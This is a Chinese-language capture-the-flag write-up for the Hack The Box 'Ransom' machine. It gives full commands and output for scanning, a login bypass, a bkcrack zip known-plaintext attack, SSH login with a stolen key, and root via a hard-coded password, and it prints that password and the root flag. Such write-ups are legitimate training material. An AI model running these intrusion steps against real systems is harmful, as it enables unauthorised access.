HTB:Ransom[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用ffuf对靶机80端口进行路径FUZZ
访问/register路径可见疑似网页源码泄露
访问/login路径查看HTML源码
边界突破
尝试对/login路径中的参数进行SQL注入
使用Yakit进行抓包可见该路径使用GET方法发送请求
使用sqlmap对该路径进行自动化注入
通过findsomething插件可见该路径使用接口:/api/login
尝试通过POST方法访问该接口
使用arjun对该接口进行参数FUZZ
尝试直接在接口后拼接password参数获得响应码200
使用Yakit中的Fuzzer进行爆破发现请求数被限制
尝试构造JSON格式的数据以GET方法发包
通过验证后可下载两个文件
另一为.zip压缩且存在解压密码
使用7z查看该压缩包内的文件压缩属性
直接在任意Linux系统中查找该文件
使用Win-RAR将.bash_logout文件进行ZIP传统空加密压缩
使用bkcrack对压缩包密钥进行爆破
利用三段密钥将压缩包密钥设置为0dayhp并输出为final.zip
为id_rsa文件赋权,使其符合SSH服务安全连接标准
使用id_rsa私钥文件对靶机SSH服务进行登录
权限提升
查看靶机系统内存在的用户
尝试查看当前用户可sudo执行的二进制文件
查找系统中的SUID文件
查找系统中的CAP_SUID文件
查看靶机系统中的网络连接
查看当前靶机系统中的进程
由于靶机使用的是PHP脚本编写的Web应用程序,因此我尝试查找靶机系统内的.php认证文件
将找到的.php认证相关文件绝对路径保存到list列表中,使用命令不断匹配`password`、`==`、`:`关键字
我尝试利用该密码直接切换到root用户
查找root.txt文件
连接至HTB服务器并启动靶机
靶机IP:10.10.11.153
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.153 -r 1-65535 --ulimit 5000
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p22,80 --script=vuln -O -Pn 10.10.11.153
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.153
使用ffuf对靶机80端口进行路径FUZZ
ffuf -u http://10.10.11.153/FUZZ -w ../dictionary/Entire-Dir.txt -t 200
访问/register路径可见疑似网页源码泄露
- 但是翻了一圈并没有敏感信息泄露
访问/login路径查看HTML源码
- 依然没有敏感信息泄露
边界突破
尝试对/login路径中的参数进行SQL注入
- 由于该接口挂载了无法通信的CDN所以加载会有些慢
使用Yakit进行抓包可见该路径使用GET方法发送请求
使用sqlmap对该路径进行自动化注入
sqlmap -u http://10.10.11.153/login?password=123456 --batch --level=5 --risk=3
- 这里跑了半天最后也没出Payload
通过findsomething插件可见该路径使用接口:/api/login
尝试通过POST方法访问该接口
- 通过响应可知该接口不允许使用POST方法
- 修改为GET方法后响应码302
使用arjun对该接口进行参数FUZZ
arjun -u http://10.10.11.153/api/login
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# arjun -u http://10.10.11.153/api/login
_
/_| _ '
( |/ /(//) v2.2.6
_/[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[+] Heuristic scanner found 1 parameter: password
[*] Logicforcing the URL endpoint
[!] No parameters were discovered.
尝试直接在接口后拼接password参数获得响应码200
- 响应内容:Invalid Password,这里我尝试测试弱口令
使用Yakit中的Fuzzer进行爆破发现请求数被限制
尝试构造JSON格式的数据以GET方法发包
- 发现可以正常收到200响应,那如果将password改成其他参数呢?
通过验证后可下载两个文件
- 其中user.txt文件
另一为.zip压缩且存在解压密码
- 感觉像在做CTF :=)
使用7z查看该压缩包内的文件压缩属性
- ZipCrypto Deflate这种算法适用已知明文攻击
- 不了解压缩包明文攻击的师傅可以查看下方我撰写的另一篇博文
Bugku CTF:请攻击这个压缩包[WriteUP]_zip明文攻击-CSDN博客
- 在该加密的压缩包中,.bash_logout文件内容通常是固定的
直接在任意Linux系统中查找该文件
locate .bash_logout
- 其内容如下
cat /home/kali/.bash_logout
# ~/.bash_logout: executed by bash(1) when login shell exits.# when leaving the console clear the screen to increase privacyif [ "$SHLVL" = 1 ]; then[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
使用Win-RAR将.bash_logout文件进行ZIP传统空加密压缩
使用bkcrack对压缩包密钥进行爆破
./bkcrack -C uploaded-file-3422.zip -c .bash_logout -P 1.zip -p .bash_logout
- 获得三段密钥
7b549874 ebc25ec5 7e465e18
利用三段密钥将压缩包密钥设置为0dayhp并输出为final.zip
/bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U final.zip 0dayhp
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ./bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U final.zip 0dayhp
bkcrack 1.7.1 - 2024-12-21
[05:33:06] Writing unlocked archive final.zip with password "0dayhp"
100.0 % (9 / 9)
Wrote unlocked archive.
对该压缩包进行解压后,分别查看authorized_keys、id_rsa.pub文件内容
- 由输出可见两个公钥文件内容一模一样,且用户名为htb
为id_rsa文件赋权,使其符合SSH服务安全连接标准
chmod 600 id_rsa
使用id_rsa私钥文件对靶机SSH服务进行登录
ssh htb@10.10.11.153 -i id_rsa
权限提升
查看靶机系统内存在的用户
cat /etc/passwd
尝试查看当前用户可sudo执行的二进制文件
sudo -l
- 没有htb用户密码,只能作罢
htb@ransom:~$ sudo -l
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
sudo: 3 incorrect password attempts
查找系统中的SUID文件
find / -perm -4000 -ls -type f 2>/dev/null
- 显然,这里面没有能让我们感兴趣的文件
查找系统中的CAP_SUID文件
getcap / 2>/dev/null
- 运行后鸦雀无声
htb@ransom:~$ getcap / 2>/dev/null
htb@ransom:~$
查看靶机系统中的网络连接
ss -tlnp
- 这里也没什么特别的
查看当前靶机系统中的进程
ps -aux
由于靶机使用的是PHP脚本编写的Web应用程序,因此我尝试查找靶机系统内的.php认证文件
find / -name '*.php' -type f 2>/dev/null | grep -i auth | tee list
将找到的.php认证相关文件绝对路径保存到list列表中,使用命令不断匹配`password`、`==`、`:`关键字
cat list | xargs -I {} sh -c 'cat {} | grep -i "password"' | grep -E '==|:'
- 在输出中,第二行代码最引人注目
if ($request->get('password') == "UHC-March-Global-PW!") {
我尝试利用该密码直接切换到root用户
htb@ransom:/tmp$ su root
Password:
root@ransom:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@ransom:/tmp# whoami
root
查找root.txt文件
find / -name 'root.txt'
root@ransom:/tmp# find / -name 'root.txt'
/root/root.txt
root@ransom:/tmp# cat /root/root.txt
943b5a4a3b1ade93547c62304a379110